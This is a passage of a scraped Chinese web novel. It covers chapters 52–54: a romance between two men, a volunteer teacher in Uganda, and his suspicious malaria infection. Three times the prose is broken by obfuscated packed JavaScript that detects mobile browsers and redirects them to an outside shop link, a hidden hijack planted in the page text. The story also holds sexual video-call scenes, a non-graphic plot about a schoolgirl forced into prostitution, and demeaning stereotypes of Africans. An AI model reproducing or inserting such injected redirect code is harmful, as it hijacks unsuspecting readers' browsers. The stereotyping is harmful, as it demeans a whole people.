;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639210|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脾性,开始得寸进尺,“那,你躺到床上去好不好?” “干嘛?”曾闰成还没意识到傅廷恩的意思,正好也累了,他随意往床上一躺,半靠在被子上。 傅廷恩小声的蛊惑,“这么热的天,你把衣服脱了睡嘛。” 曾闰成这下听懂了,“啪”一声挂了电话,脸腾的一下子就烧了起来。 明明两个人也算“坦诚相见”过,但他就是受不了这么赤|裸|裸的挑逗。 傅廷恩又打过来,他直接挂掉,结果他一直打,视频邀请的铃声响个不停。 曾闰成被吵得只好接起来,他还没开口,傅廷恩先说话了:“闰成,你是不是害羞了?可是我真的想你了,很想很想的那种。”他低垂着眉眼,嘴角也微微下垂,一副很委屈的样子。 曾闰成拿他没办法,只好解开几颗衬衫的扣子,“这样行了吧?”他不想他多看,“不聊了,我明天……” “你等一下,”傅廷恩那边突然黑屏,然后一阵悉悉索索的响声。 “你在干嘛?” “嗯,脱衣服。”傅廷恩大言不惭,脸皮比城墙还厚,曾闰成一阵无语,把手机扣到枕头上,但是也没有挂断,傅廷恩的声音不断在他耳畔响起,“给我看看嘛闰成,你不知道我昨晚上还梦到你……” “我真的好想你,想得睡不着那种……”他低声的诱惑着,“你一点都不想我吗?嗯?让我看看你好不好,就一眼……” 事实证明,男人说这种就一眼就一次就一小会永远不可信。 曾闰成想到在丽萨酒店那个晚上,那种情况下傅廷恩都忍得住,结果隔着数万公里的距离他反倒忍不住了,跟发了情的猫一般,各种嚎叫、抓挠。 可也正因为如此,曾闰成很清楚,傅廷恩那时忍得住是因为珍视、疼惜,现在忍不住是因为思念。 想到这点他总会心软,在傅廷恩不断的哄劝和引诱下,他到底没能抵挡住他的攻势,底线一再下降,按照傅廷恩的要求这样那样……视频里传来彼此的喘息声,隔着屏幕,清晰可闻。 傅廷恩还在那里恬不知耻,“好多,闰成你看,给我看看你的……” 曾闰成面红耳赤,赶紧挂电话,“我得睡了。” 他躺在床上,久久不能成眠,窗外的月色如水,白皙的躯体微微的颤动着。 他和傅廷恩都处于成年男性精力最旺盛、欲|望最强烈的时期。有这方面的需求是很正常的事情,只是他还有些放不开。 他一贯矜持内敛的性格让他在这方面有些羞于表达,当他被强|制,肉|体确实也会有快感,但心总是提着的,羞愧感紧紧缠绕着他,令他无法完全放松,也就无法纵情享受性|爱的美好。傅廷恩带给他截然不同的感受。 两地有时差,傅廷恩总会计算着时间,在晚上十点后跟他交流几分钟,发信息、打电话或者发视频,并非次次都胡搅蛮缠,多数是很日常的分享,与那时他在伦敦他在海德堡的沟通又不同。 那时曾闰成要克制自己不去招惹,傅廷恩要克制自己不使对方为难,即使一句关心的问候也要斟酌再三。如今就要随意自在许多。 有一天晚上,傅廷恩给他发消息,“闰成,你把我寄过来的那个收音机打开,调到796.3。” 乌干达的娱乐产业没有华国发达,看电视都还得装那个像口大铁锅似的卫星接收器。电台也不多,这个收音机派上用场的时候很少。 曾闰成依言调到他所说的频道,“滋滋”的电流声过后,导播柔和的女声响起,用英语很煽情的说着:“接下来这首歌,是一位叫Barry的男士为他的朋友Jasper点播,是怎样动人的旋律呢?让我们一起欣赏吧。” 收音机四四方方小小一个,但音质还不错,像一个小音箱,愉快的旋律在曾闰成的耳边响起。 这是一首韩文歌,《Way Back Home》,歌词的大意如下: 寻找在停滞的时间里,陷入沉睡的你, 无论艰难险阻,终会去到你的身边, 结束那漫长的旅途,现在返回, 向着名为你的归宿,重新出发。 彷佛想要关上,却总会再次打开的抽屉, 向天空高飞的你,总会回来我身边…… 曾闰成看着查找的歌词,忍不住将手机按在胸口,长长的吐了口气,廷恩,我的廷恩……这一刻,思念,在如水的夜色里弥漫。 52.第 52 章 傅廷恩食髓知味,隔三岔五的要求这样那样,曾闰成虽然一般情况下是拒绝,但十天半个月总会满足他一两次。毕竟适当的纾解有益身心健康,总不能真让他因为这点子私密事,日夜难眠影响学业。 江永安约了傅廷恩两三次都约不出去,于是开着他的大G从剑桥跑到牛津来找他,一见面就调侃他:“哟!容光焕发呀!” 其实傅廷恩最近为了论文上期刊的事忙得灰头土脸,头发长得都能扎起来,穿着皱巴巴的衬衫,袖子挽到手肘上,完全的不修边幅。但是脸上那种意气风发的神情,眼神里那种愉悦满足真的是一眼就看得到。 “看样子,好事将近?”江永安翘着二郎腿坐在他宿舍抽烟,有沙发不坐,一定要坐床边,把烟灰都掸到他被窝上。 “是不是想找抽?”傅廷恩起身拿了一罐啤酒丢给他,扯着被单抖了抖,“脏死了。” 江永安一脸无所谓,“反正你这床又不要带人回来睡,脏一点也碍不着什么。而且,秀恩爱的人还不允许我这个失恋者踩两脚了?” 他扒拉着手机,翻出傅廷恩的ins账号,最新一条是一张戴着耳扣的侧脸,来自视频截图,完全没有露出眉眼,但他这个知情人自然认得出是曾闰成,配文只有两个字:我的。 傅廷恩这个私密账号从来没有露过脸,也没什么人关注,被他用来当做记事本,很多年前给曾闰成拍的那张厨房做饭的照片,还有江永安拍他们在莱茵河边接吻的照片,都被他作为私人珍藏储存在这个账号上。 江永安是他这个账号的少数几个关注者之一,视频截图因为没有露脸,只是一个戴着耳饰的轮廓,没有设置为私密,自然就被江永安刷到了,这也是他兴冲冲从剑桥跑过来的原因之一。 “真在一起了?他跟那边断干净了?”江永安低声的询问,其实随着曾闰霞的离开,他也预感傅廷恩和曾闰成的关系会有比较大的改变。但是他始终觉得两人之间最大的阻隔并不是曾闰霞,而是李景麟。 李景麟对于曾闰成的占有欲,作为旁观者都看得很清楚,尤其在高雪维尔的那个晚上,李景麟当着所有人的面,这个所有人里面包括了他的合作伙伴还有绯闻情人,将曾闰成抱上楼,简直就是赤|裸|裸的宣告,能这么轻易就放手?不像是李景麟的风格。 傅廷恩却是很笃定的点头,“闰成已经处理好了,我说过他并不喜欢他,他如今远走非洲就是最好的证明。” 虽然曾闰成没有明说,但是傅廷恩能猜到,他去非洲除了想换个环境抚平伤痛,也是为了隔绝跟李景麟的来往。“那样的花花公子身边哪能少得了人。” “这倒是真的,”江永安点头,他经常跨网浏览娱乐新闻,“最近好像不少娱记写他有了新宠,狗仔还拍到了照片,都等着看宋奕的笑话呢。”宋奕咖位摆在那,李景麟身边出现新人,娱记们总会捆绑他博眼球。而李景麟本身就风流,各方面的条件也注定了他身边前仆后继不存在空窗期。 傅廷恩是不关注那些的,只要与曾闰成无关就行,“当然,去非洲不光为了远离过去的人和事,也是为了考验我,”他一脸乐滋滋的表情,“而我,是一定不会让我的曾老师失望的。” 两人每天的交流让他对这份感情越来越有信心,他自己是不用多剖白,而曾闰成内敛的性格让他不会动辄就说一些甜言蜜语,迄今为止他也没有对他说过爱,但是每一条信息的字里行间,每一个视频的眉梢眼角,都能感受到他的舒心与喜悦。只要能带给他快乐,傅廷恩就觉得很满足。他忍受不了他紧蹙着眉头,看不得痛苦的表情出现在他脸上,那会让他比打网球输了比赛,考试拿不到A等都更让他难受。难受很多倍。 江永安看着傅廷恩浓黑的剑眉、浓密的眼睫、甚至每一根飞扬的头发丝都透着欢喜,忍不住揶揄他,“哎,真不知道曾老师给你下了什么蛊?你就只认他这一副解药。” 他是略有点含酸的口气,他和傅廷恩相交多年,很清楚他在牛津剑桥甚至整个伦敦gay圈受欢迎的程度,是不少人觊觎的对象,甚至包括曾经的自己,他却偏偏对曾闰成情有独钟,而后者不但伤他,还曾是别人的禁脔。 傅廷恩听他话语看他脸色猜到他心中所想,又启了罐啤酒递给他,“永安,我到伦敦那两年……你是知道的。其实是我配不上闰成。”傅廷恩那时被初恋所伤,又想验证自己的取向,再加上外形条件颇受追捧,男男女女的交往过不少,不然也不会有“牛津浪子”这个称号了。 陷入爱情就是这样,当你深爱一个人,你在他面前就不会有自信这样东西,总是唯恐自己不够好,唯恐自己不配他施舍的这份爱。 “操!难道你还想重回处|男时代?” “那倒也不会,至少现在的我知道该怎么让他……舒服。”傅廷恩满脸憧憬。 “尼玛……”每次他以为已到舔狗的极限,傅廷恩总能再次刷新他的下限,江永安灌了两口啤酒,不想再继续泼冷水,“之后打算怎么办?会跟家里说这事吗?” “当然,等我通过论文答辩就去接他。我想让他来参加我的毕业典礼,顺便介绍我爸妈给他认识。之后我们可以在伦敦登记,柏林也可以,或者拉斯维加斯,看他喜欢……” “停停停!”江永安忍不住打断他的浪漫幻想,“魔怔了吧你?这么快就要走进婚姻的坟墓?请问一下您贵庚哪?” 傅廷恩一本正经,“过完生日我就二十三了,闰成都满二十九了,怎么不能结婚了?我妈还经常打电话催我……” “她是催你跟男人结婚吗?”江永安捂着脸哭笑不得,“你这还没出柜,家里还没同意,结婚都让你提上议事日程了?” 傅廷恩觉得是他不懂,“等你遇到那个人,你就会想要快点从法律层面把他绑定的。我昨天已经跟我哥坦白了这事,他答应我会帮我做爸妈的思想工作。” 傅廷昀其实也跟江永安一样,是傅廷恩那个私密账号的关注者之一,刷到那张照片,也不管时差,越洋电话立马就打了过来,“傅廷恩!那个戴耳饰的半张脸不是女生吧?”男女的轮廓线条还是明显不一样的。 “是我男朋友,好看吧?”傅廷恩说到他男朋友被吵醒的起床气都没了,他在他哥面前很坦白,傅廷昀从小也是国外长大,回国待几年又考到国外,大学毕业执掌澳洲分公司,不是保守派。结果还是被他的直言不讳震惊了一把,“你你你……竟然是说真的?” 十八岁那年,傅廷恩在凌倩的生日宴会上公开表示自己喜欢男生,傅太还为此专门把睡到半夜的他从床上吵醒召开了家庭会议。 “哥你一定会很喜欢他的,年底我带他去澳洲看你。”傅廷恩丝毫没觉得他哥受到了什么冲击,他现在恨不得昭告全世界,“等他从非洲支教回来……” “等等,支教?他是老师?”傅廷昀在对话中寻找关键词。 “嗯,暂时是,不过之前他是我老师,我每个周末找他补习数学,如果不是他帮我,我P3\P4也不能考那么好……”傅廷恩在信任的人面前,遮掩不了一点。 傅廷昀想起来,傅廷恩申牛津的最后半年突然变得对学习很上心起来,原本对牛津的offer一副可申可不申,今年申也行明年申也好的样子,突然就转了性子,傅太不止一次打电话跟他吐槽,说每个周末都要跑出去补习,老师还不收补习费。 傅廷昀顿时觉得傅太真是糊涂,这补习费是没有收,却把一个好大儿给贴进去了。 “慢着,你那个时候多大?没满十八岁吧?”他开始觉得是不是他单纯的傻弟弟被居心叵测的引诱了,被大灰狼…… 傅廷恩这倒敏锐起来,察觉到他哥的思路不对,赶紧掰回来,“那时候是我单恋,这两年我们在柏林重逢,最近才开始在一起。” “那他岂不是比你大很多?” “没有很多,六岁而已。” 傅廷昀只觉得心梗要发作,因为对方年龄更大又曾是老师,他直觉他弟是被压的那一方,他实在难以想象他牛高马大的弟弟被另一个男人……“你让我缓缓,缓缓。回头我再打给你。” “哥,你要帮我跟爸妈……”傅廷昀已经挂了电话。 傅廷恩完全不知道他哥已经被他雷到外焦里嫩,还在向江永安吹嘘他哥对他的理解与支持。 江永安对两兄弟感情表示羡慕,他们江家子孙众多,明争暗斗也不少,他只有两个亲姐姐,岁数差得比较大,跟他妈一起把他当孩子宠。从他二十岁开始就不断替他物色合适的对象,想为他寻找助力,这才会有几个月前跟李芷玉的相亲安排。 “你有哥当然不怕,而且你哥都快结婚了。不像我……”江永安虽然在国外玩得花,但是在父母姐姐面前却一直保守着性向的秘密,他们这房就他一个男丁,如果还是txl,想也知道会引起什么轩然大波。 这大概也是当年他听到傅廷恩当众承认喜欢男生,立马想要靠近的原因,他一直佩服他的勇敢。 傅廷恩安慰他,“你别担心,赶紧把毕业证搞到手,进公司好好历练历练, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656186|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后咱哥俩联手,只要把关键的东西掌握在手里,谁敢多说半句屁话!” 江永安深以为然,像李景麟,他是出了名的好男色,可谁又敢给他脸色看或者背后嚼舌根?想巴结他的,知道他喜好,还要替他物色人选。 但是说到毕业证,江永安顿时垂头丧气,他学的材料工程专业本来就是四年制,而且他挂科比较多,估计年底前结业很有难度。 再看看傅廷恩,同样四年,本硕文凭一起拿,玩没少玩,爱没少谈,真是人比人得死,货比货得扔!气得他饭都没吃,又风驰电掣般跑回剑桥去了。 —————————————————————————— 同样心情不爽的还有一个宋奕,君临集团旗下的鹰翔娱乐最近新签约了几个艺人,中间有个叫屈励阳的颇受李景麟宠爱,还没毕业,手上已经有了几个代言,又签了两部网剧,在娱乐圈掀起了一点水花。 经纪人不太能够理解宋奕气愤的点,“这小子就算再蹦跶十年,也赶不上奕哥的咖位,您要跟他一般见识倒是抬举了他。” 娱乐圈更新迭代快,但市场也在不断变化,现在想要跻身一线并保持位置,比过去要难太多了,大多数是昙花一现。再好品种的花没有赶上好时候,也是白开了。 宋奕手持飞镖,不断向着不远处的镖盘比划。他在君临大厦有一间大办公室,团队偶尔会在这边开会,刚在VIP电梯里碰到屈励阳,显然是刚从顶楼下来,他恭敬的跟宋奕问好,喊宋老师,宋奕戴着墨镜,鸟都没鸟他。 “你不觉得他眉眼有点像一个人吗?”他眯着一边眼睛,掷出飞镖,“啪”的一声正中靶心,他最近接了一部武打片,稍有空闲就会拿道具练手。 经纪人先拍掌叫好,才低声道:“您是说曾……”宋奕用眼神制止他说那个名字,“晦气。” “是是是,”经纪人点头不迭,“是有点像,不光眉眼,个高身段都有点像。但是没那个……” 他想说没那个气质,还是及时止住了话头,“老板就好这一口。这跟人吃菜一样各有喜好,但是吧,菜各式各样,这主食总是缺不了。” 他从自己的喜好出发,把马屁拍到了马腿上,宋奕为了保持身材,几乎从不吃主食,生酮饮食很多年了。“出去吧。”他斥退了经纪人,扔了手上的飞镖,倒在宽大的座椅里。 从那次李景麟当着他的面撒谎,宋奕就看出了他对曾闰成的不同寻常。等到高雪维尔的那个晚上,他越发清楚了他对他的掌控欲有多强。 李景麟在声色场上纵情这么多年,对性|对肉|体是比较看得开的,但是当他暴怒的挥开他安排的那两个法国模特,将曾闰成抱上楼的时候,宋奕觉得胸腔里劈里啪啦有什么裂开了。原来他不是对谁都看得开。 等回到金城,听说了曾闰成离开的消息,他惊喜之余是惊诧,故意掐准时机跟李芷玉偶遇,去套话。 小迷妹对宋老师完全不设防,“苏茜姐说闰成哥要去非洲支教,李叔叔不肯,发好大脾气,后面不知道为什么又同意了,可能是苏茜姐劝了他。” 宋奕原本推测是不是李景麟知道了曾闰成和傅廷恩的关系,把他甩了,还在懊恼手机里的那张照片没有派上用场。没想到是曾闰成自己要离开,不管怎么说,只要离开了就好,不管他有多特别,只要他不再出现就是过往云烟。 可是这天他去李景麟办公室,门半开着,他刚走到门边,一眼瞄见李景麟劈头盖脸将一叠资料扔到苏秘书身上,冲她怒吼,“我说别管你就真没管?!你知不知道那是什么地方?万一病了、被偷了、抢了怎么办?让他赶紧给老子滚回来,差不多就得了!” 他很少看到李景麟对苏秘书发这么大的火,只能先退回秘书室,跟几个瑟瑟发抖的小姑娘面面相觑。 一道挺拔修长的身影走过来,请他坐,又亲自给他沏茶。是李景麟秘书团的二秘徐理,宋奕看一眼他殷勤的举动,眼睛在他面上一转,嘴角勾起了一抹了然的笑意。 不过眼下他没空管这些,他在茶香袅袅里仔细琢磨着刚听到的话,很快明白让滚回来的那个“他”是指曾闰成。 李景麟竟然还惦记着他!宋奕心头升起不忿,可转念一想,曾闰成是自己要离开的,他还会回来吗? 他想起手机里面那张照片,想起他和傅廷恩滑雪的身影,想起李景麟将曾闰成抱上楼后,傅廷恩脸上的表情……直觉告诉他不会,如果真的不会,那就有好戏看了……宋奕嘴角露出一抹意味深长的笑容。 53.第 53 章 曾闰成最近招惹到了一点小麻烦,事情跟那个经常跟在他身边,最开始被他误认成男生的妮娜有关。 随着时间的推移,了解的深入,曾闰成慢慢对班上这些学生的情况有了一些掌握。 妮娜是他比较欣赏的一个孩子,首先是因为她在数学这门学科上有一定天赋。他们最近在学习错角定理这个章节,稍稍有一点复杂,同样的论证题,曾闰成讲一遍,她是少数几个能听懂的孩子之一。等曾闰成讲到三五遍,她已经可以给别的孩子答疑解惑。 其次,是这个女孩家里条件不太好,穿着朴素,就两套衣服交替着穿。中午在学校吃饭,曾闰成看到过几次,她总是一盘木薯粉加一点豆子,一个人躲在角落里偷偷的吃。 这让他想起很多年前的自己,不自觉的多几分怜惜,经常把她叫到办公室,给她一些糖果,叮嘱她不要让别人看见。又会以上课认真或者作业优秀的名义,奖励她一些文具用品。 女孩对此十分感激,经常亦步亦趋的跟在曾闰成身边,于是曾闰成便发现了她身上的伤痕,青红紫绿的印子交错在肩上、腿上,有几次还在脸上。 他怀疑她被家暴,可每次询问是不是被爸妈打的,她总是哭着摇头,后面熟了,才小声的说:“没有爸爸妈妈,是哥哥打的。” 曾闰成大吃一惊,“哥哥为什么打你?”妮娜又哭着不说话了。 曾闰成只好跟琳达说了这件事情,女生之间比较好沟通,他希望琳达能帮忙了解一下妮娜的情况。 结果琳达带回来一个让他瞠目结舌的消息:坎帕拉除了华人比较多,白人也不少,尤其是白人老头。曾经是英殖民地,英语属于官方语言,物价又特别低廉,就有一批在自己国家混不下去或者单纯为了寻找刺激的白人老头,跑到这边来充大款。 非洲人种虽然黑了些,但身段比例是出了名的好,有好这一口的白人老头,专门寻找家境贫寒的黑人女孩交易,每次十美元,就能让他们一逞□□。这在坎帕拉不算什么稀奇的事情。 乌干达的民风整体是比较淳朴,但贫穷也是肉眼可见,哪个地方都存在二八法则,总有那么几个为了钱什么都可以出卖的人,很不幸,妮娜的哥哥就是其中之一。 父母去世得早,家里条件艰苦,这个叫巴特的男孩早早辍学,在社会上游荡,沾染了一身不良习气,又秉承着非洲人一贯懒惰散漫的作风,缺钱花了就把主意打到了妮娜身上,逼着她去跟白人老头交易,不听从就是一顿毒打。 曾闰成皱眉道:“她去了吗?” “她说去过两次,说那些白人老头很坏,”琳达也很同情妮娜的遭遇,“这种事情总是很难避免。” 曾闰成感到震惊又心痛,妮娜才九年级,还不到十六岁,还是个刚刚开始发育的小姑娘,他考虑怎么解决这个问题,“我可以拿出一笔钱……” 琳达劝他,“最好不要,你们华国话说得好,人的欲望是贪婪无止境的。如果让巴特知道你愿意花钱,他一定会变本加厉,说不准还会把主意打到你身上。”治安虽然整体还算好,但如果有人存心算计,确实防不胜防。 “那如果为巴特介绍一份工作呢?”曾闰成可以去联系一下当地的华人企业。 琳达仍然摇头,“如果他是一个愿意工作的人,坎帕拉还是有很多工作机会的。妮娜说她哥哥很懒,而且有一群坏朋友,集镇上如果发生东西被偷或者被抢基本都是他们干的。” 一个人又懒又坏还有救,一群人的话除非他自己醒悟,愿意脱离,否则基本就定型了。 事情一下子陷入僵局,晚上和傅廷恩视频的时候,曾闰成颇有些感慨的说了这件事情。 “我觉得短期内你可以先给一点钱,让她假装是老头给的,拿去应付她哥,之后你走的时候可以问问她愿不愿意到华国来生活,我们家族有慈善基金,可以对她进行帮扶救助。”傅廷恩向曾闰成建议。 他知道,这个妮娜父母双亡只有一个哥哥的身世,引起了曾闰成的怜悯。同样是自幼失怙,妮娜却没有曾闰霞好命,有一个愿意为她付出一切的哥哥,反倒是压榨欺辱她。可妮娜有健康的身体,这点又胜过曾闰霞许多,唉,所以命运的安排真让人不胜唏嘘。 “但是,闰成,你一定记得,不要让这个巴特知道你的存在。你太单纯,你不知道有的人坏起来是没有底线的。”虽然有六岁年龄差,除了学业,生活中傅廷恩总是谆谆教导的那一个。 “知道了。”曾闰成觉得傅廷恩的建议不错,也再三的叮嘱了妮娜不要告知任何人这件事情,但给了两次钱以后,麻烦就找上了门。 这天中午他回宿舍吃饭,一进门就看见两个个子高大肤色黝黑的男青年,一个坐在饭桌上,一个坐旁边椅子里,嘴里都嚼着口香糖,“哒哒”的吹着泡泡,两双不怀好意的眼睛盯着他,做饭的保姆站在旁边满脸的尴尬。 看见他进来,坐饭桌上那个跳下来,怪腔怪调的喊“Teacher”,“跟老师睡要加价,twenty doller.”他伸出两根手指头,“补钱吧老师!”这是妮娜的哥哥巴特,他的长相和脸上的神情都是那种最让人讨厌的非洲人形象。 曾闰成当然不能给,这钱要给了就坐实了他们嘴里的污言秽语,他退到门边,转身就去喊保安,没有保安,只有校长和几个班组老师闻讯赶了过来。 两个黑人青年完全没有走人的意思,仍然勾着背坐在原地,把嘴里的口香糖嚼得啪啪响,一脸的有恃无恐。 校长走上去跟他们一顿几里哇啦的交涉,他讲的斯瓦希里语,曾闰成完全听不懂。 “曾老师,你给妮娜钱了?”校长交涉完,用英语问他,一脸严肃的表情。已经有老师飞奔到教室,去把妮娜叫过来。 曾闰成在校长面前不便撒谎,于是点点头,“是给了,但是……” “为什么要给她钱?”校长打断他,语气充满了责备,“平白无故的给一个女学生这么多钱,你知道代表着什么吗?” 曾闰成没有觉得给了很多,但是相对当地的物价,二十美元确实不算少。 他终于后知后觉的发现自己可能确实把问题想得过于简单了,一个外国男老师,给班上一个女学生一笔数目不小的钱,这事怎么听都不太合理。 一个课组的老师拉扯着妮娜走了进来,校长把同样的问题问了她一遍:“曾老师给你钱了吗?”妮娜点头。 “为什么给你钱?”妮娜黑色的大眼睛里充满了恐惧和畏缩,小声的哭了起来,曾闰成顿时头都大了。但他又能理解妮娜,这原因换谁都说不出口。 “校长,我和妮娜同学绝对没有师生以外的关系,我给她钱是觉得她家庭条件比较困难,她又是个上进好学的孩子,出于帮扶的目的。”曾闰成觉得不管校长和老师信不信,他还是得好好解释一下。 没想到校长点点头,“曾老师,我是相信你的。但是这事传出去,别人可能不会信,不信的人更多,那么他们认定的就是事实。” 他转身又几里哇啦跟那两个黑人男青年一顿交流,蒲扇般的手掌在空中飞舞着,总算把两个身影扇得起身。但是巴特临出门的时候,用那种“你等着”的眼神盯了曾闰成一眼。 曾闰成没有特别在意,他住在学校宿舍里,周末也从不单独出门,他们要找他麻烦也没那么容易。 傅廷恩听他说了事情的经过,特别担心,“你不能用你的逻辑思维去揣度那些人,文化差异太大了,闰成,要不你回来吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665956|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我去接你好不好?” 曾闰成倒也没有一定要待满半年,他来了四个月了,无论是心境还是麻烦,自觉都应该告一段落。 “这个学期还有半个月结束,我上完这个学期吧,不用你接,转机太麻烦,我会先回法兰克福,再去海德堡大学一趟。”他在帮克里斯蒂安做项目,既然有时间,还是回去碰一下面比较好,“等事情办完,我去牛津找你,好吗?我还没去过你们学校呢,到时候你带我参观参观。” 上次陪曾闰霞到伦敦给傅廷恩过生日,结果半夜被李景麟派来的司机叫走送酒店,第二天就回了法兰克福,完全没有参观世界名校的机会。 在他的再三分析下,傅廷恩勉强被说服,“不让我接也行,那你得让我看看……”夜深人静,他又开始耍流氓。 “你讲点道理啊,我不让你接是想给你节约时间赶论文,怎么我还得……安抚你?”曾闰成默想了一下时间,距离上一次刚好一个星期,这家伙真是掐着点的发|春。 傅廷恩的声音既透着急切又有几分软糯的缠绵,“你都知道是安抚了,你是不知道它有多么想你,现在我手边没有鼓,要是有我就敲给你听听,让你感受一下它想你的心有多么……坚……硬。” 不知道是不是隔着屏幕,傅廷恩的骚话总是一箩筐一箩筐的,让曾老师无力招架。 这个事情发生的第二天,妮娜哭着来找曾闰成道歉,“对不起老师……我昨天不敢说……我怕校长和老师们会看不起我,也怕哥哥会打我……”她挽起袖子,胳膊上几道乌青的印子,是新添的伤痕。 曾闰成虽然不明白她为什么要将他的资助告诉她哥哥,但看妮娜昨天在巴特面前那副畏惧的神情,就知道这个小女孩应该是被打怕了。他原谅了她,并且跟她大概的透露了一下自己的打算,“妮娜,这个学期结束我就要离开乌干达了,我要回德国,但如果你想去华国学习生活的话我可以帮你。有时候的确需要一些勇气,才能跳出原生家庭的束缚,而学习可以帮助你,你很聪明,如果专心学业,将来一定可以过很好的生活。” 他不知道这番话会给自己带来多大的麻烦。 几天之后的一个晚上,入睡前,曾闰成觉得蚊子特别多。 非洲蚊虫肆虐,傅廷恩寄过来很多驱蚊虫的药水、片剂、各种贴,他本身体质也兜蚊子,基本全派上了用场,所以这几个月房间的蚊子还是比较少的。 他没有太在意,只以为是保姆做饭,忘记关纱窗门了。蚊帐挂上了,可能睡着后,手伸了出去,总之第二天起来左手肘上出现了两三个大包。他涂了点风油精,衬衫遮盖着,照常上课。 午餐时的胃口就不太好,整个下午都有些头昏脑胀,他泡了点感冒灵喝了,又吃了点维C泡腾片,完全不管用,到晚上就开始发起高热来。 手机传来几声“嗡嗡”的信息接收的声音,他也撑不起精神去查看,直到傅廷恩打视频过来:“闰成,你在干嘛?怎么不回消息?”他不是天天打视频,但如果大晚上没回消息,他就一定会打过来查看情况。 曾闰成勉力睁开眼睛,“不太舒服,可能感冒了。”他不知道自己的脸色在视频中看起来苍白得吓人。 那边传来书本掉落在地上的声音,“闰成,你别睡,我打给琳达,马上去医院。” 傅廷恩不由分说就挂了电话。他之前把接机的、琳达的、校长的电话都存了个遍。 果然,不一会就听到一阵急切的敲门声,他还在心里暗骂傅廷恩多事,却是很费劲才从床上爬起来,去开门。 琳达跟他一打照面,也是吓了一大跳,忙忙乱乱的就去喊人开车,要送他去医院,曾闰成还想说不用这么麻烦,结果眼前一黑,完全失去了意识。 54.第 54 章 等曾闰成再次恢复意识,发现自己躺在傅廷恩的怀里,他几疑是在做梦,但伸手摸到他脸颊,很真实的触感,“廷恩……是你吗?” 傅廷恩愣愣的看着他,突然一把抱住,涕泪交流的哭了起来,抽噎着抬起一双红肿的眼睛,“你吓死我了曾闰成!你昏迷三天了你知不知道?!” 他的大男孩泪腺很发达,曾闰成想要帮他拭去眼角的泪水,伸手却是疲软无力,一阵头晕目眩袭来。傅廷恩忙小心翼翼扶他躺下,又给他垫高了枕头,扯过旁边纸巾抹了抹脸颊。 曾闰成转目四顾,发现是在一个单间病房里,白墙蓝窗帘,鼻端闻得到消毒药水的气味,左手上插着留置针头。 琳达推门进来,看他醒了,也是一脸惊喜,“曾,你总算醒了,医生说今天能醒就说明恶疟被控制住了。” “恶疟?”曾闰成一阵茫然。 琳达点点头,“非洲疟疾横行你应该也听说过,疟原虫也分很多种,你感染的这种很厉害,如果救治不及时,感染到脑部,那就真的……”她摊开两手,做了个没救的表情,“多亏你朋友打电话给我,让我一定马上送你上医院,医生也说来得及时。也幸亏是在坎帕拉,如果在下面的村镇治疗,估计也完了。” 曾闰成这才感到一阵后怕,原来他不知不觉间在鬼门关转悠了一圈,“这么这么……严重?”他柔软的目光转向傅廷恩,“廷恩,你又为了我……”原本不想他来接,怕耽误他赶论文,结果这么一折腾估计耗费的时间更多。 傅廷恩与他目光相接,哪里能够克制住,上前紧紧将他搂在怀里,曾闰成虚弱的推了推他,示意琳达还在这里。 琳达这两天其实都看在眼里,曾闰成昏迷一天后,傅廷恩辗转赶到,一来就将曾闰成从市郊医院转进了坎帕拉市中心最大的医院,也不知道如何跟院方沟通的,原本输个液都要等半天的医院马上整合了最好的医疗资源全力救治。 他又塞给琳达一叠美金,说是支付她叫车的费用和感谢她帮忙送医院,还请她帮忙向学校请假说明情况。十分周到妥帖的处理完这些杂事,余下的时间就呆在病房。 她不同时间段过来,傅廷恩都是呆坐在病床前,那种眼神明眼人一看就知道这两人不是单纯的朋友关系。她轻咳一声,“虽然我个人没有看法,但在乌干达,同性,嗯,是违法的,等下校长会过来看你。” 傅廷恩这才把曾闰成放开,刚放开又端着杯子抱着他肩膀喂他喝水。琳达都有些没眼看,只能转移话题,“这个恶疟来源其实有点奇怪,因为坎帕拉针对这种恶疟进行过几次大规模的消杀,基本上已经绝迹了,普通的蚊虫叮咬没有这么大的杀伤力。” 曾闰成喝了水润了润喉,舒服了些,躺在靠枕上,“我特别兜蚊子,可能运气不好吧。”他转头看向傅廷恩,“廷恩,我想吃水果。” 傅廷恩马上起身,“我先去问下医生,哪种水果可以吃,琳达你再坐一会。” 曾闰成等他走开,才向琳达低声道:“其实我也觉得那天晚上,房间里的蚊虫特别多。”他猜测着,“难道是有人在我的房间里恶意投放了这种传染源?” 琳达跟他对视一眼,都想到了同一种可能,“但是没有证据。曾,给钱之后,你是不是又做了别的什么?” 